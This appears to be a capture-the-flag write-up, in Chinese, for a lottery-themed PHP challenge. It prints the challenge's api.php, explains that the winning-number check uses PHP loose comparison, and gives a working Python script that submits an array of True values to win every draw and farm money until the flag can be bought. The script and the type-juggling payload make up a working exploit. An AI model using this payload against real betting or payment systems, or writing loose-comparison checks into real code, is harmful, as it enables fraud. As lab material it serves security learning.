Lottery
进入页面看一下,似乎是个注册买彩票类型的网站,简单看一下逻辑。

1、看到flag需要购买

2、初始账户只有20元。

3、输入7位数字,一次消耗2元。

4、打开附件参考api.php代码
bash
<?php
require_once('config.php');
header('Content-Type: application/json');
function response($resp){
die(json_encode($resp));
}
function response_error($msg){
$result = ['status'=>'error'];
$result['msg'] = $msg;
response($result);
}
function require_keys($req, $keys){
foreach ($keys as $key) {
if(!array_key_exists($key, $req)){
response_error('invalid request');
}
}
}
function require_registered(){
if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
response_error('register first');
}
}
function require_min_money($min_money){
if(!isset($_SESSION['money'])){
response_error('register first');
}
$money = $_SESSION['money'];
if($money < 0){
$_SESSION = array();
session_destroy();
response_error('invalid negative money');
}
if($money < $min_money){
response_error('you don\' have enough money');
}
}
if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
response_error('please post json data');
}
$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
response_error('invalid json');
}
require_keys($data, ['action']);
// my boss told me to use cryptographically secure algorithm
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);
if(!$cstrong){
response_error('server need be checked, tell admin');
}
$num /= 25;
return strval(floor($num));
}
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
function flag($req){
global $flag;
global $flag_price;
require_registered();
$money = $_SESSION['money'];
if($money < $flag_price){
response_error('you don\' have enough money');
} else {
$money -= $flag_price;
$_SESSION['money'] = $money;
$msg = 'Here is your flag: ' . $flag;
response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
}
}
function register($req){
$name = $req['name'];
$_SESSION['name'] = $name;
$_SESSION['money'] = 20;
response(['status'=>'ok']);
}
switch ($data['action']) {
case 'buy':
require_keys($data, ['numbers']);
buy($data);
break;
case 'flag':
flag($data);
break;
case 'register':
require_keys($data, ['name']);
register($data);
break;
default:
response_error('invalid request');
break;
}
5、发现关键点,中奖对比用的弱比较,那是不是可以通过提交中奖数字为 True 与 右边数字比较则永远为真。
在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。
在PHP中当转换为 boolean 时,以下值被认为是 FALSE :
(1) 布尔值 FALSE 本身
(2) 整型值 0(零)
(3)浮点型值 0.0(零)
(4)空字符串,以及字符串 "0"
(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)
(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)
(7)特殊类型 NULL(包括尚未赋值的变量)
(8)从空标记生成的 SimpleXML 对象
(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)

6、提交发现确实轻松拿到大奖

7、写个简单脚本,自动刷钱购买flag
bash
# 使用Python自动刷钱
import random
import time
import requests, json
url = "http://61.147.171.105:53646/api.php"
headers = {"Content-Type": "application/json"}
# 使用Session保持会话
s = requests.Session()
# 注册
s.post(url, json={"action": "register", "name": "hacker"})
print("注册 hacker")
while True:
js = {
"action": "buy",
"numbers": [True,True,True,True,True,True,True] # 关键Payload
}
print(js)
r = s.post(url, json=js)
time.sleep(0.1)
data = r.json()
if data['money'] < 2:
break
print(f"Money: {data['money']}, Prize: {data.get('prize', 0)}")
if data['money'] >= 9990000:
break
result = s.post(url, json={"action": "flag"})
print(result.text)
